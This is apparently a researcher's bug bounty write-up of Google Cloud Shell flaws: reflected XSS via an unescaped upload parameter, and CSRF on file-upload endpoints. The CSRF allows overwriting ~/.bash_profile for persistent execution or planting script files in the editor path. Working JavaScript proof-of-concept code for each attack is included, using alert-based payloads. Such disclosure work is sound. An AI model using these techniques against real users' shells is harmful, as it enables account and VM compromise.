Cloud Shell is an interactive shell environment for Google Cloud that lets you learn and experiment with Google Cloud and manage your projects and resources from your web browser.
Endpoint: POST https://970-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/file-upload
Issue: 214291117
Bounty: 5k
When a file uploaded the server return the unescaped `uri` parameter value in the response body. But this response has 'text/html' value in the content-type header, so this response will be interpreted as a usual html document by browser if user will see it (see screenshot/video). Attacker can load file from his own origin via form and user will see that response.
function send(devshell_host, target='_blank') {
if(!devshell_host) return alert('Devshell host is empty')let form = document.createElement('form');form.action = `https://${devshell_host}/file-upload?`form.target = targetform.method = 'POST'form.enctype = 'multipart/form-data'/* ADD PAYLOAD TO PATH */let uriInput = document.createElement('input')uriInput.name = 'uri'uriInput.value = `/tmp/test<img/src/onerror=alert(document.domain);${Math.floor(Math.random() * 1000) }>`/* ADD UPLOAD FILE */let fileInput = document.createElement('input')fileInput.type = 'file'fileInput.name = 'file'let file = new File(['somecontent'], "img.jpg",{type:"image/jpeg", lastModified:new Date().getTime()});let container = new DataTransfer();container.items.add(file);fileInput.files = container.files;/* BUILD FORM */form.replaceChildren(uriInput, fileInput)document.body.append(form)/* SEND */form.submit()
}
send('your-domain')
Endpoints:
Issue: 214035061
Bounty: 5k + 5k (another endpoint and re-attack after fix)
User can upload files to his cloud shell via two endpoints:
Both of them were vulnerable to CSRF and had no any protection of csrf. It makes possible to send POST request with file from any third-party origin (attacker's origin) to the user's vm origin (victim origin). If some file will be uploaded to `~/.bash_profile` path (for example) this file will be stored for a long time and will be executed every time when user login in his vm.
Also this csrf can be used for xss if attacker will upload a file with payload to the "/google/devshell/editor/theia/lib/" path.
function uploadBashPayload(hostname){
let formData = new FormData()
let file = new Blob(['some evil content'], {type : 'text/plain'});
formData.append('uploadFile', file, '<your-filepath>')
fetch(`https://${hostname}/_cloudshell/file?path=`, { credentials: 'include', method: 'POST', body: formData } )
}
function uploadXSSPayload(hostname){
let winname = 'evilwindow'
let win = window.open('about:blank', winname)
let filename = `test${Math.floor(Math.random() * 1000) }.html`
if(!hostname) return alert('Devshell host is empty')
let form = document.createElement('form');
form.action = `https://${hostname}/file-upload?`
form.target = winname
form.method = 'POST'
form.enctype = 'multipart/form-data'
/* ADD PAYLOAD IN PATH */
let uriInput = document.createElement('input')
uriInput.name = 'uri'
uriInput.value = `/google/devshell/editor/theia/lib/${filename}`
/* ADD UPLOAD FILE */
let fileInput = document.createElement('input')
fileInput.type = 'file'
fileInput.name = 'file'
let file = new File(['<html><head><script>alert(`I am xss in: \$\{ origin \} origin`)</script></head><body>Hey! Iam attacker page</body></html>'], filename,{type:"image/jpeg", lastModified:new Date().getTime()});
let container = new DataTransfer();
container.items.add(file);
fileInput.files = container.files;
/* BUILD FORM */
form.replaceChildren(uriInput, fileInput)
document.body.append(form)
/* SEND */
form.submit()
setTimeout( ()=>{ win.location = `https://${hostname}/${filename}` }, 1500)
}
Issue: 217090716
Bounty: 5K
Thanks for reading